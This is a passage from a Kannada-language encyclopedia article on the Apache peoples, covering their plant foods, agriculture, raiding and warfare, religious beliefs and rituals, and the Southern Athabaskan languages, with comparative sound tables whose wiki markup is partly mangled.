ಮತ್ತು ಜೇನು. ಬಯಲು ಅಪಾಚೆಗಳು ಬಳಸುತ್ತಿದ್ದ ಸಸ್ಯಗಳಲ್ಲಿ ಇವು ಸೇರಿವೆ: ಚೋಕೆಚೆರ್ರಿಸ್, ಬ್ಲ್ಯಾಕ್್ಬೆರ್ರಿಗಳು, ದ್ರಾಕ್ಷಿಗಳು, ಪ್ರೇ ರಿ ಟರ್ನಿಪ್್ಗಳು ಮತ್ತು ಕಾಡು ಈರುಳ್ಳಿ ಮತ್ತು ಕಾಡು ಪ್ಲಮ್ಸ್. ಅನೇಕ ಇತರ ಹಣ್ಣುಗಳು, ತರಕಾರಿಗಳು ಮತ್ತು ಗಡ್ಡೆಸಸ್ಯಗಳ ಬೇರುಗಳನ್ನೂ ಬಳಸುತ್ತಿದ್ದರು. ==== ಬೆಳೆ ಕೃಷಿ ==== ನವಾಜೋಗಳು ಹೆಚ್ಚು ಬೆಳೆ ಕೃಷಿಯನ್ನು ರೂಢಿಸಿಕೊಂಡಿದ್ದರು. ಪಶ್ಚಿಮ ಅಪಾಚೆಗಳು, ಜಿಕಾರಿಲ್ಲಾ ಮತ್ತು ಲಿಪಾನ್ ಕಡಿಮೆ ಪ್ರಮಾಣದಲ್ಲಿ. ಚಿರಿಕಹುಆದ ಒಂದು ಬ್ಯಾಂಡ್ (ಒಪ್ಲರ್) ಮತ್ತು ಮೆಸ್ಕೆರೆಲೋ ಬಹಳ ಕಡಿಮೆ ಕೃಷಿಯನ್ನು ರೂಢಿಸಿಕೊಂಡಿದ್ದರು. ಚಿರಿಕಹುಆದ ಇನ್ನೆರಡು ಬ್ಯಾಂಡ್ ಮತ್ತು ಬಯಲು ಅಪಾಚೆಯವರು ಯಾವುದೇ ಬೆಳೆಯನ್ನು ಬೆಳೆಯುತ್ತಿರಲಿಲ್ಲ. ==== ವ್ಯಾಪಾರ, ದಾಳಿ ಮತ್ತು ಯುದ್ಧ ==== ಅಪಾಚೆ ಮತ್ತು ಯುರೋಪಿನಿಂದ ಬಂದು ಒಳಗಿಳಿದು ಪರಿಶೋಧ ನಡೆಸುವವರು ಹಾಗೂ ಅಲ್ಲಿಯೇ ನೆಲೆಯಾದವರ ನಡುವೆ ವ್ಯಾಪಾರಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೆಲವು ಆಂತರಿಕ ಬದಲಾವಣೆಗಳಾದವು. ತಾವು ಯುರೋಪಿನ ಮತ್ತು ಅಮೆರಿಕದ ವಸ್ತುಗಳನ್ನು ಬಳಸಬಹುದು ಎಂಬುದನ್ನು ಅಪಾಚೆಗಳು ಕಂಡುಕೊಂಡರು. ತಮಗೆ ಬ್ಕಾದುದನ್ನು ಪಡೆದುಕೊಳ್ಳುವುದನ್ನು ಅವರು ನಂಬಿದರು. ಉದಾಹರಣೆಗೆ ಕುದುರೆಗಳು. ಹೀಗಿದ್ದರೂ ಈ ಮುಂದಿನ ಚಟುವಟಿಕೆಗಳು ಯುರೋಪದವರು ಮತ್ತು ಅಮೆರಿಕದವರಿಂದ ಮರೆಯಾಗಲಿಲ್ಲ. ಎಲ್ಲ ಅಪಾಚೆ ಬುಡಕಟ್ಟಿನವರಿಗೆ (ಲಾಭಕ್ಕಾಗಿ) ದಾಳಿ ಮಾಡುವುದು ಮತ್ತು ಯುದ್ಧದ ನಡುವಿನ ಅಂತರವನ್ನು ಮನದಟ್ಟು ಮಾಡಿಕೊಟ್ಟರು. ದಾಳಿಗಳನ್ನು ಚಿಕ್ಕ ಗುಂಪುಗಳೊಂದಿಗೆ ವಿಶಿಷ್ಟ ಆರ್ಥಿಕ ಗುರಿಯೊಂದಿಗೆ ನಡೆಸಲಾಗುತ್ತಿತ್ತು. ಅಪಾಚೆಗಳು ಯುದ್ಧವನ್ನು ದೊಡ್ಡ ತಂಡಗಳೊಂದಿಗೆ (ಬಹಳ ಸಲ ಕುಲದ ಸದಸ್ಯರನ್ನು ಬಳಸಿಕೊಂಡು) ನಡೆಸುತ್ತಿದ್ದರು. ಸಾಮಾನ್ಯವಾಗಿ ಪ್ರತೀಕಾರ ಸಾಧಿಸಲೆಂದೇ ಈ ದಾಳಿಗಳು ನಡೆಯುತ್ತಿದ್ದವು. ದಾಳಿ ನಡೆಸುವುದು ಅಪಾಚೆಗಳ ಸಾಂಪ್ರದಾಯಿಕ ಜೀವನಕ್ರಮವಾಗಿದ್ದರೂ ಮೆಕ್ಸಿಕೋದಲ್ಲಿ ನೆಲೆ ನಿಂತವರು ತಮ್ಮ ಜಾನುವಾರನ್ನು ಕಳವು ಮಾಡುವುದಕ್ಕೆ ವಿರೋಧಿಸಿದರು. ಅಪಾಚೆಗಳು ಮತ್ತು ನೆಲೆಯಾದವರ ನಡುವೆ ತ್ವೇಷ ಮುಂದುವರಿದಂತೆ ಮೆಕ್ಸಿಕೋದ ಸರ್ಕಾರವು ಕಾಯಿದೆಯನ್ನು ಪಾಸು ಮಾಡಿ ಅಪಾಚೆಗಳ ತಲೆಬುರುಡೆಗೆ ಬಹುಮಾನವನ್ನು ಘೋಷಿಸಿತು.<ref>{{cite web | title = We Shall Remain: Geronimo, ''The American Experience'' | publisher = PBS | url = http://www.pbs.org/wgbh/amex/weshallremain/the_films/episode_4_trailer | accessdate = November 10, 2009}}</ref> === ಧರ್ಮ === ಅಪಾಚೆಯ ಧಾರ್ಮಿಕ ಕಥೆಗಳು ಎರಡು ಸಾಂಸ್ಕೃತಿಕ ಕಥಾಪುರುಷರಿಗೆ ಸಂಬಂಧಿಸಿದೆ. (ಇವುಗಳಲ್ಲಿ ಒಂದು ಸೂರ್ಯ/ಅಗ್ನಿ:"ಶತ್ರು-ಸಂಹಾರಕ/ಅತಿಮಾನುಷ ಹಂತಕ", ಮತ್ತು ಇನ್ನೊಂದು ನೀರು/ಚಂದ್ರ/ಗುಡುಗು: "ನೀರಿನ ಮಗು/ನೀರಿಗೋಸ್ಕರ ಜನಿಸಿದ್ದು") ಅದು ಮಾನವಕುಲಕ್ಕೆ ಹಾನಿಕರವಾದ ಅನೇಕ ಜೀವಿಗಳನ್ನು ನಾಶಮಾಡುತ್ತದೆ.<ref name="Opler 1983a, pp.368–369">ಓಪ್ಲರ್ 1983ಎ, ಪುಟಗಳು.368–369</ref> ಚೆಂಡು ಅಡಗಿಸುವ ಆಟದ ಇನ್ನೊಂದು ಕಥೆ, ಇಲ್ಲಿ ಒಳ್ಳೆಯ ಮತ್ತು ಕೆಟ್ಟ ಪ್ರಾಣಿಗಳು ಜಗತ್ತಿನಲ್ಲಿ ಅನುಗಾಲವೂ ಕತ್ತಲೆ ಇರಬೇಕೋ ಬೇಡವೋ ಎನ್ನುವುದನ್ನು ನಿರ್ಧರಿಸುತ್ತವೆ. ಕೋಯೋಟೆ, ಒಬ್ಬ ದಗಾಕೋರ, ಆಗಾಗ್ಗೆ ಅಸಮರ್ಪಕ ವರ್ತನೆಯನ್ನು ಹೊಂದಿದ ಒಬ್ಬ ಮಹತ್ವದ ವ್ಯಕ್ತಿ (ತನ್ನ ಮಗಳನ್ನೇ ಮದುವೆಯಾಗುವುದು ಇತ್ಯಾದಿ.) ಇದರಲ್ಲಿ ಆತ ಸಾಮಾಜಿಕ ಸಂಪ್ರದಾಯಗಳನ್ನೆಲ್ಲ ಬುಡಮೇಲು ಮಾಡುತ್ತಾನೆ. ನವಾಜೋ, ಪಶ್ಚಿಮ ಅಪಾಚೆ, ಜಿಕಾರಿಲ್ಲಾ, ಮತ್ತು ಲಿಪಾನ್ ತಾನಾಗೇ ಉದ್ಭವವಾದ ಇಲ್ಲವೆ ಸೃಷ್ಟಿಸಿದ ಕಥೆಯನ್ನು ಹೊಂದಿದ್ದರೆ ಚಿರಿಕಹುಆ ಮತ್ತು ಮೆಸ್ಕರೆಲೋಗಳಲ್ಲಿ ಇದು ಇಲ್ಲ.<ref name="Opler 1983a, pp.368–369"/> ಬಹಳಷ್ಟು ದಕ್ಷಿಣ ಅಪಾಚೆಯ “ದೇವರುಗಳು” ಈ ವಿಶ್ವವನ್ನು ಮುನ್ನೆಡೆಸುವ ಶಕ್ತಿಗಳ ವ್ಯಕ್ತೀಕರಣ ಮಾಡಿದವು. ಅವರನ್ನು ಧಾರ್ಮಿಕ ಸಮಾರಂಭಗಳ ಮೂಲಕ ಮಾನವನ ಉದ್ದೇಶಕ್ಕೆ ಬಳಸಿಕೊಳ್ಳಬಹುದಿತ್ತು. ಮಾನವಶಾಸ್ತ್ರಜ್ಞ ಬಸ್ಸೋ ಪಶ್ಚಿಮ ಅಪಾಚೆಯ ಪರಿಕಲ್ಪನೆಯ ''diyí’(ಡಿಯಿ)'' ಯನ್ನು ಹೀಗೆ ಸೂತ್ರೀಕರಿಸುತ್ತಾರೆ: <blockquote>''diyí’(ಡಿಯಿ)'' ಪದವು ಒಂದು ಅಥವಾ ಎಲ್ಲ ಅಸಂಗತ ಮತ್ತು ಅದೃಶ್ಯ ಶಕ್ತಿಗಳ ಗುಂಪನ್ನು ಪ್ರತಿನಿಧಿಸುತ್ತದೆ. ಇವನ್ನು ನಿರ್ದಿಷ್ಟ ವರ್ಗದ ಪ್ರಾಣಿಗಳು, ಸಸ್ಯಗಳು, ಖನಿಜಗಳು, ಭೂಗರ್ಭದ ಪ್ರಕ್ರಿಯೆಗಳು ಮತ್ತು ಪಶ್ಚಿಮ ಅಪಾಚೆ ವಿಶ್ವದಲ್ಲಿನ ಪೌರಾಣಿಕ ಆಕೃತಿಗಳಿಂದ ರೂಪುಪಡೆದದ್ದು. ವಿವಿಧ ಶಕ್ತಿಗಳಲ್ಲಿ ಯಾವುದನ್ನಾದರೂ ಮನುಷ್ಯನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳಬಹುದು ಮತ್ತು ಅದನ್ನು ಸರಿಯಾಗಿ ನಿರ್ವಹಿಸಿದರೆ ವಿವಿಧ ಉದ್ದೇಶಕ್ಕೆ ಬಳಸಿಕೊಳ್ಳಬಹುದು.<ref>ಬಾಸ್ಸೋ, 1969, ಪು.30</ref></blockquote> ಔಷಧ ಮನುಷ್ಯ (ಶಮನ್್ರು) ಧಾರ್ಮಿಕಕ್ರಿಯೆಗಳನ್ನು ಕಲಿತುಕೊಳ್ಳುವರು, ಇವನ್ನು ನೇರವಾಗಿ ವ್ಯಕ್ತಿಯ ಜ್ಞಾನಪ್ರಕಾಶನದಿಂದಲೂ ಪಡೆದುಕೊಳ್ಳಬಹುದು (ಇವನ್ನೂ ನೋಡಿ ಅತೀಂದ್ರಿಯವಾದ). ವಿವಿಧ ಅಪಾಚೆಯ ಸಂಸ್ಕೃತಿಗಳು ಧಾರ್ಮಿಕ ಕ್ರಿಯೆಗಳ ಆಚರಣೆಗಳ ವಿಷಯಗಳಲ್ಲಿ ವಿಭಿನ್ನ ವಿಚಾರಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಹೆಚ್ಚಿನ ಚಿರಿಕಹುಆ ಮತ್ತು ಮೆಸ್ಕಲೆರೋ ಧಾರ್ಮಿಕ ಕ್ರಿಯೆಗಳು ವೈಯಕ್ತಿಕ ಧಾರ್ಮಿಕ ದರ್ಶನಗಳನ್ನು ಪ್ರಸರಿಸುವ ಮೂಲಕ ನಡೆಯುವುದೆಂದು ತಿಳಿಯುತ್ತದೆ. ಆದರೆ ಜಿಕಾರಿಲ್ಲಾ ಮತ್ತು ಪಶ್ಚಿಮ ಅಪಾಚೆಗಳು ಹೆಚ್ಚು ಕೇಂದ್ರೀಯ ಧಾರ್ಮಿಕ ಆಚರಣೆಗಳ ರೂಢಿಯ ಮೂಲಕ ಪದ್ಧತಿಗಳಿಗೆ ನಿಷ್ಕೃಷ್ಟತೆ (ಪ್ರಮಾಣಕವಾಗಿಸಲು) ತರಲು ಯತ್ನಿಸಿದ್ದಾರೆ. ಪ್ರಮಾಣಕತೆಗೊಳಿಸಲಾದ ಪ್ರಮುಖ ಧಾರ್ಮಿಕ ಆಚರಣೆಗಳಲ್ಲಿ ಯುವತಿ ಋತುಮತಿಯಾದಾಗ ನಡೆಸುವ ಧಾರ್ಮಿಕ ಕ್ರಿಯೆ (ಸೂರ್ಯ ಮೂಡುವ ನೃತ್ಯ), ನವಾಜೋ ಮಂತ್ರಗಳು, ಜಿಕಾರಿಲ್ಲಾ "long-life" (ದೀರ್ಘ-ಬದುಕಿನ) ಧಾರ್ಮಿಕ ಕ್ರಿಯೆಗಳು ಮತ್ತು ಬಯಲು ಅಪಾಚೆಯ "sacred-bundle" (ಪವಿತ್ರ -ಮೂಟೆ) ಧಾರ್ಮಿಕ ಕ್ರಿಯೆಗಳು ಸೇರಿವೆ. ನಿರ್ದಿಷ್ಟ ಪ್ರಾಣಿಗಳನ್ನು ಆಧ್ಯಾತ್ಮಿಕವಾಗಿ ಕೆಟ್ಟದ್ದು ಮತ್ತು ಮಾನವನ ಅನಾರೋಗ್ಯಕ್ಕೆ ಕಾರಣವಾಗುವಂಥದ್ದು ಎಂದು ಪರಿಗಣಿಸುತ್ತಾರೆ: ಗೂಬೆಗಳು, ಹಾವುಗಳು, ಕರಡಿಗಳು ಮತ್ತು ಹುಲ್ಲುಗಾವರು ತೋಳಗಳು. ಧಾರ್ಮಿಕ ಶಕ್ತಿಗಳನ್ನು ಪ್ರತಿನಿಧಿಸುವ ಮುಖವಾಡಗಳನ್ನು ಅನೇಕ ಅಪಾಚೆಯ ಧಾರ್ಮಿಕ ಕ್ರಿಯೆಗಳಲ್ಲಿ ಬಳಸುತ್ತಾರೆ. ಮರಳು ಚಿತ್ರಕಲೆ ನವಾಜೋ, ಪಶ್ಚಿಮ ಅಪಾಚೆ ಮತ್ತು ಜಿಕಾರಿಲ್ಲಾ ಸಂಪ್ರದಾಯಗಳಲ್ಲಿ ಒಂದು ಮಹತ್ವದ ಧಾರ್ಮಿಕ ಆಚರಣೆ. ಇದರಲ್ಲಿ ಶಮನ್ನರು ತಾತ್ಕಾಲಿಕವಾದ ಪವಿತ್ರ ಕಲೆಯನ್ನು ಬಣ್ಣದ ಮರಳಿನಿಂದ ಸೃಷ್ಟಿಸುತ್ತಾರೆ. ಮುಖವಾಡಗಳು ಮತ್ತು ಮರಳು ಚಿತ್ರಕಲೆಯು ನೆರೆಯ ಪೆಬ್ಲೋ ಸಂಸ್ಕೃತಿಗಳಿಂದಾದ ಸಾಂಸ್ಕೃತಿಕ ಪ್ರಸರಣದ ಉದಾಹರಣೆಗಳೆಂದು ಮಾನವಶಾಸ್ತ್ರಜ್ಞರು ನಂಬುತ್ತಾರೆ.<ref>ಓಪ್ಲರ್ 1983ಎ, ಪುಟಗಳು.372–373</ref> ಅಪಾಚೆಗಳು ನೇಕ ದೈವಿಕ ನೃತ್ಯಗಳಲ್ಲಿ ಭಾಗವಹಿಸುತ್ತಾರೆ. ಇದರಲ್ಲಿ ಮಳೆ ನೃತ್ಯ, ಬೆಳೆ ಮತ್ತು ಸುಗ್ಗಿಗಾಗಿ ನೃತ್ಯ ಮತ್ತು ದೈವೀನೃತ್ಯಗಳು ಸೇರಿವೆ. ಈ ನೃತ್ಯಗಳು ಬಹುತೇಕ ವಾತಾವರಣವನ್ನು ಪ್ರಭಾವಿಸುವ ಮತ್ತು ಅವರ ಆಹಾರ ಮೂಲವನ್ನು ಶ್ರೀಮಂತಗೊಳಿಸುವ ಉದ್ದೇಶದ್ದು. == ಭಾಷೆಗಳು == {{more|Southern Athabascan languages}} ಅಪಾಚೆ ಜನರು ಏಳು ದಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್ ಭಾಷೆಗಳಲ್ಲಿ ಒಂದು ಅಥವಾ ಹೆಚ್ಚು ಭಾಷೆಗಳನ್ನು ಆಡುತ್ತಾರೆ. ಇವು ವ್ಯಾಕರಣದ ಸ್ವರೂಪ ಮತ್ತು ಧ್ವನಿ ವ್ಯವಸ್ಥೆಯಲ್ಲಿ ಸಾದೃಶ್ಯದ ಹೋಲಿಕೆಯನ್ನು ಹೊಂದಿವೆ. ದಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್ (ಅಥವಾ ಅಪಾಚೆ) ದೊಡ್ಡದಾದ ಅಥಾಬಾಸ್ಕನ್ ಕುಟುಂಬದ ಉಪ-ಕುಟುಂಬ, ಇವು ನದೆನೆಯ ಒಂದು ಶಾಖೆ. ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ದೇಶೀಯ ಭಾಷೆಯನ್ನು ಅತಿ ದೊಡ್ಡ ಪ್ರಮಾಣದಲ್ಲಿ ಮಾತನಾಡುವ ಮೂಲನಿವಾಸಿ ಭಾಷಿಕರನ್ನು ಹೊಂದಿದೆ ಎಂಬ ಕಾರಣಕ್ಕೆ ನವಾಜೋ ಗಮನಾರ್ಹವಾಗಿದೆ. ಹೀಗಿದ್ದರೂ ನವಾಜೋ ಸೇರಿದಂತೆ ಎಲ್ಲ ಅಪಾಚೆ ಭಾಷೆಗಳೂ ಅಪಾಯವನ್ನು ಎದುರಿಸುತ್ತಿವೆ. ಲಿಪಾನ್ ಭಾಷೆನಾಶವಾಗಿದೆ. ದಕ್ಷಿಣದ ಅಥಾಬಾಸ್ಕನ್ ಶಾಖೆಯನ್ನು ಮೊದಲಿಗೆ ಅದರ ಪ್ರಕೃತಿ (ಮೂಲಧಾತು)-ಮೂಲ ವ್ಯಂಜನಗಳು ಮೂಲ ಅಥಾಬಾಸ್ಕನ್ ಸರಣಿಯಲ್ಲಿ ''{{IPA|*k̯}}'' and (ಮತ್ತು) ''{{IPA|*c}}'' (into) ಒಳಗೆ ''{{IPA|*c}}'' ವಿಲೀನವಾಗಿರುವುದನ್ನು ಅವರು ಆಧಾರವಾಗಿಟ್ಟುಕೊಂಡು (ವ್ಯಾಪಕವಾಗಿ ವಿಲೀನವಾಗಿರುವ ''{{IPA|*č}}'' and ''{{IPA|*čʷ}}'' into ''{{IPA|*č}}'' ಗೆ ಹೆಚ್ಚುವರಿಯಾಗಿ, ಅಲ್ಲದೆ ಅನೇಕ ಉತ್ತರ ಅಥಾಬಾಸ್ಕನ್ ಭಾಷೆಗಳಲ್ಲಿಯೂ ಕಂಡುಬುರುವುದು) ಹ್ಯಾರಿ ಹೊಯ್ಜೆರ್ ವ್ಯಾಖ್ಯಾನಿಸಿದ್ದಾರೆ. {| cellspacing="3" class="wikitable" style="text-align:center" |- style="line-height:1.2em" ! ಮೂಲ-<br />ಅಥಾಬಾಸ್ಕನ್ |} ! ನವಾಜೋ ! ಪಾಶ್ಚಾತ್ಯ<br />ಅಪಾಚೆ ! ಚಿರಿಕಹುಆ ! ಮೆಸ್ಕಲೆರೋ ! ಜಿಕಾರಿಲ್ಲಾ ! ಲಿಪಾನ್ ! ಪ್ಲೇನ್ಸ್<br />ಅಪಾಚೆ |- | {{IPA|*k̯uʔs}} | "ಹಿಡಿಕೆ ಹೆಣಿಗೆಯಂಥ ವಸ್ತು" | ''-tsooz(ತ್ಸೂಝ್)'' | ''-tsooz (ತ್ಸೂಝ್)'' | ''-tsuuz (ತ್ಸುಉಜ್)'' | ''-tsuudz (ತ್ಸುಡ್ಜ್)'' | ''-tsoos (ತ್ಸೂಸ್)'' | ''-tsoos (ತ್ಸೂಸ್)'' | ''-tsoos (ತ್ಸೂಸ್)'' |- | {{IPA|*ce·}} Stone.(ಕಲ್ಲು) | ''tsé (ತ್ಸೆ)'' | ''tséé (ತ್ಸೀ)'' | ''tsé (ತ್ಸೆ)'' | ''tsé (ತ್ಸೆ)'' | ''tsé (ತ್ಸೆ)'' | ''tsí (ತ್ಸಿ)'' | ''tséé ತ್ಸೀ'' |} ಹೊಯ್ಜರ್(1938) ಅಪಾಚೆ ಉಪ-ಕುಟುಂಬವನ್ನು ಜಿಕಾರಿಲ್ಲಾ, ಲಿಪಾನ್ ಮತ್ತು ಬಯಲು ಅಪಾಚೆ ಒಳಗೊಂಡಿರುವ ಪೂರ್ವ ಶಾಖೆಯೆಂದೂ ನವಾಜೋ, ಪಶ್ಚಿಮದ ಅಪಾಚೆ (ಸಾನ್ ಕಾರ್ಲೋಸ್), ಚಿರಿಕಹುಆ ಮತ್ತು ಮೆಸ್ಕಲೆರೋ ಇರುವ ಪಶ್ಚಿಮದ ಶಾಖೆಯೆಂದೂ ಮೂಲ-ಅಪಾಚೆಯವರಲ್ಲಿಯ''{{IPA|*t}}'' and ''{{IPA|*k}}'' to ''k'' ಪೂರ್ವ ಶಾಖೆಯಲ್ಲಿ ವಿಲೀನವಾಗಿರುವುದನ್ನು ಆಧಾರವಾಗಿಟ್ಟುಕೊಂಡು ವಿಭಜಿಸುತ್ತಾನ. ಹೀಗೆ, ಕೆಳಗಿನ ಉದಾಹರಣೆಯಲ್ಲಿ ಹೇಗೆಂದು ನೋಡಬಹುದು, ಪಶ್ಚಿಮದ ಭಾಷೆಗಳು ನಾಮಪದ ಮತ್ತು ಕ್ರಿಯಾಪದದ ಪ್ರಕೃತಿಯನ್ನು ''t'' ದಿಂದ ಆರಂಭಿಸಿದರೆ, ಇದಕ್ಕೆ ಸಂಬಂಧಿಸಿದ ರೂಪಗಳು ಪೂರ್ವದ ಭಾಷೆಯಲ್ಲಿ ''k'' ದಿಂದ ಆರಂಭವಾಗುತ್ತವೆ: : {| cellspacing="4" class="wikitable" style="text-align:center" |} ! colspan="4" | ''ಪಶ್ಚಿಮದ್ದು'' ! colspan="3" | ''ಪೂರ್ವದ್ದು'' |- ಸ್ಟೈಲ್="ಲೈನ್-ಹೈಟ್:1.2ಇಎಂ" ! ! ನವಾಜೊ ! ಪಶ್ಚಿಮದ್ದು<br />ಅಪಾಚೆ ! ಚಿರಿಕಹುಆ ! ಮೆಸ್ಕಲೆರೊ ! ಜಿಕಾರಿಲ್ಲಾ ! ಲಿಪಾನ್ ! ಪ್ಲೇನ್ಸ್<br />ಅಪಾಚೆ |- ನೀರು | ''tó (ತೋ)'' | ''tū (ತು)'' | ''tú (ತು)'' | ''tú (ತು)'' | ''kó (ಕೋ)'' | ''kó (ಕೋ){{/0}'' | ''kóó (ಕೂ)'' |- ಬೆಂಕಿ | ''kǫʼ(ಕ್್ಕ್ಯೂ)'' | ''kǫʼ(ಕ್್ಕ್ಯೂ)'' | ''kųų(ಕ್್ಯು)'' | ''kų(ಕ್್ಯು)'' | ko̱ʼ(ಕೋ) | ''kǫǫʼ(ಕ್್ಕ್ಯೂಕ್ಯೂ)'' | ''kǫʼ(ಕ್್ಕ್ಯು)'' |} ನಂತರ ಆತನು ತನ್ನ ಪ್ರಸ್ತಾವವನ್ನು 1971ರಲ್ಲಿ ಪರಿಷ್ಕರಿಸಿದ. ಕಾರಣ ಅವನು, ಬಯಲು ಅಪಾಚೆಗಳು ಈ ವಿಲೀನದಲ್ಲಿ ಭಾಗವಹಿಸದೆ ಇದ್ದದ್ದು ಆತನ ಗಮನಕ್ಕೆ ಬಂತು.''{{IPA|*k̯/*c}}'' ಬಯಲು ಅಪಾಚೆ ಇತರ ಭಾಷೆಗಳಿಂದ ಸಮಾನ ದೂರವನ್ನು ಕಾಯ್ದುಕೊಂಡಿತ್ತು. ಈಗ ಅದನ್ನು ನೈಋತ್ಯ ಅಪಾಚೆ ಎಂದು ಕರೆಯುತ್ತಾರೆ. ಹೀಗೆ, ಪ್ರೋಟೋ ಅಥಾಬಾಸ್ಕನ್್ನಲ್ಲಿ ಕೆಲವು ಪ್ರಕೃತಿಗಳು ಮೂಲದಲ್ಲಿ ಆರಂಭಗೊಂಡಿದ್ದು ''*k̯'' ಬಯಲು ಅಪಾಚೆಯಲ್ಲಿ ''ch'' ದಿಂದ ಆರಂಭಕೊಳ್ಳುತ್ತವೆ ಮತ್ತು ಇತರ ಭಾಷೆಗಳಲ್ಲಿ ''ts'' ದಿಂದ ಆರಂಭವಾಗುತ್ತವೆ. : {| cellspacing="3" class="wikitable" style="text-align:center" |- style="line-height:1.2em" ! ಪ್ರೋಟೊ-<br />ಅಥಾಬಾಸ್ಕನ್ |} ! ನವಾಜೊ ! ಚಿರಿಕಹುಆ ! ಮೆಸ್ಕಲೆರೋ ! ಜಿಕಾರಿಲ್ಲಾ ! ಪ್ಲೇನ್ಸ್ <br />ಅಪಾಚೆ |- 67* | "big" (ಬಿಗ್) | ''-tsaa(-ತ್ಸಾ)'' | ''-tsaa(-ತ್ಸಾ)'' | ''-tsaa(-ತ್ಸಾ)'' | ''-tsaa(-ತ್ಸಾ)'' | ''-cha(-ಚ)'' |} ಹೊಯ್ಜೆರ್್ನ ಮೂಲಸೂತ್ರ ಜಿಕಾರಿಲ್ಲಾ ಮತ್ತು ಲಿಪಾನ್ ಪೂರ್ವ ಶಾಖೆಯಲ್ಲಿ ಇದೆ ಎಂದು ಹೇಳಿದ್ದು ಈ ಎರಡು ಗುಂಪುಗಳ ನಡುವಿನ ಸಾಂಸ್ಕೃತಿಕ ಸಾಮ್ಯತೆ ಮತ್ತು ಇತರ ಪಶ್ಚಿಮದ ಅಪಾಚೆ ಗುಂಪುಗಳ ನಡುವೆ ಇರುವ ಭಿನ್ನತೆಯ ಕಾರಣದಿಂದಾಗಿ ಒಪ್ಪಬಹುದಾದದ್ದು ಎಂದು ಮೊರಿಸ್ ಒಪ್ಲರ್ (1975) ಸೂಚಿಸುತ್ತಾನೆ. ಇತರ ಭಾಷಾಶಾಸ್ತ್ರಜ್ಞರು, ನಿರ್ದಿಷ್ಟವಾಗಿ ಮೈಕೆಲ್ ಕ್ರೌಸ್ಸ್ (1973) ನಾಮಪದ ಮತ್ತು ಕ್ರಿಯಾಪದದ ಮೂಲ ಪ್ರಕೃತಿಯ ವ್ಯಂಜನಗಳ ಆಧಾರದ ಮೇಲೆ ವಿಭಾಗಿಸಿರುವುದು ಯಾದೃಚ್ಛಿಕವಾಗಿದೆ. ಮತ್ತು ಯಾವಾಗ ಇತರ ಧ್ವನಿ ವ್ಯವಹಾರಗಳನ್ನು ಪರಿಗಣಿಸಿದಾಗ ಭಾಷೆಗಳ ನಡುವಿನ ಸಂಬಂಧಗಳು ಹೆಚ್ಚು ಸಂಕೀರ್ಣವಾಗಿರುವಂತೆ ತೋರುತ್ತವೆ ಎಂಬುದನ್ನು ಗಮನಿಸುತ್ತಾರೆ.. ಇದಕ್ಕೆ ಹೆಚ್ಚುವರಿಯಾಗಿ, ಮಾರ್ಟಿನ್ ಹುಡ್ (1983) ಗುರುತಿಸುವುದೇನೆಂದರೆ ಬಯಲು ಅಪಾಚೆಗಳು ಮೂಲ-ಅಥಾಬಾಸ್ಕನ್''{{IPA|*k̯/*c}}'' ಜೊತೆ ವಿಲೀನ ಹೊಂದದೆ ಇರುವಾಗ, ಬಯಲು ಅಪಾಚೆಗಳನ್ನು ಹೊಯ್ಜೆರ್ ವ್ಯಾಖ್ಯಾನಿಸಿದಂತೆ ಅಪಾಚೆ ಪರಿವಾರದ ಭಾಷೆಯೆಂದು ಪರಿಗಣಿಸಲು ಬಾರದು. ಅಪಾಚೆಯವನ ಭಾಗಳು ಧ್ವನಿಯ ಭಾಷೆಗಳು. ಧ್ವನಿಯ ಬೆಳವಣಿಗೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ, ಎಲ್ಲ ಅಪಾಚೆಯವರ ಭಾಷೆಗಳು ''ಕೆಳ-ಒತ್ತಡದ'' ಭಾಷೆಗಳು, ಇದರರ್ಥ ಆ ಮೂಲ ಭಾಷೆಯಲ್ಲಿ ಪ್ರಕೃತಿಯು ಒಂದು "ಸಂಕುಚಿತಗೊಳಿಸಲಾದ" ಉಚ್ಚಾರಾಂಶ ಪ್ರಾಸವಾಗಿದ್ದು ಕೆಳ ಧ್ವನಿಯನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದೆ. ಮತ್ತು ಉಳಿದೆಲ್ಲ ಪ್ರಾಸಗಳು ಎತ್ತರದ ಧ್ವನಿಯನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿವೆ. ಇತರ ಉತ್ತರ ಅಥಾಬಾಸ್ಕನ್ ಭಾಷೆಗಳು ''ಮೇಲ್-ಒತ್ತಡದ'' ಭಾಷೆಗಳು. ಇದರಲ್ಲಿ ಧ್ವನಿ ಬೆಳವಣಿಗೆಯು ಉಲ್ಟಾ ಆಗಿರುತ್ತದೆ. ಈ ಕೆಳಗಿನ ಉದಾಹರಣೆಯಲ್ಲಿ, ಕೆಳ-ಒತ್ತಡದ ನವಾಜೋ ಮತ್ತು ಚಿರಿಕಹುಆ ಕೆಳ ಧ್ವನಿಯನ್ನು ಹೊಂದಿದ್ದರೆ, ಆಗ ಮೇಲ್-ಒತ್ತಡದ ಉತ್ತರ ಅಥಾಬಾಸ್ಕನ್ ಭಾಷೆಗಳಾದ ಸ್ಲೇವಿ ಮತ್ತು ಚಿಲ್ಕೋಟಿನ್, ಅಧಿಕ ಧ್ವನಿಯನ್ನು ಹೊಂದಿರುತ್ತವೆ, ಮತ್ತು ನವಾಜೋ ಹಾಗೂ ಚಿರಿಕಹುಆ ಅಧಿಕ ಧ್ವನಿಯನ್ನು ಹೊಂದಿದ್ದರೆ ಆಗ ಸ್ಲೇವಿ ಮತ್ತು ಚಿಲ್ಕೋಟಿನ್ ಕೆಳೆ ಧ್ವನಿಯನ್ನು ಹೊಂದಿರುತ್ತವೆ. : {| cellspacing="3" class="wikitable" style="text-align:center" |} ! ಕೋಲ್್ಸ್ಪಾನ್="2" | ''ಕೆಳ-ಒತ್ತಡದ್ದು'' ! ಕೋಲ್್ಸ್ಪಾನ್="2" | ''ಅಧಿಕ-ಒತ್ತಡದ್ದು'' |- ಶೈಲಿ="ಗೆರೆ-ಎತ್ತರ:1.2ಇಎಂ" ! ಮೂಲ-<br />ಅಥಾಬಾಸ್ಕನ್ 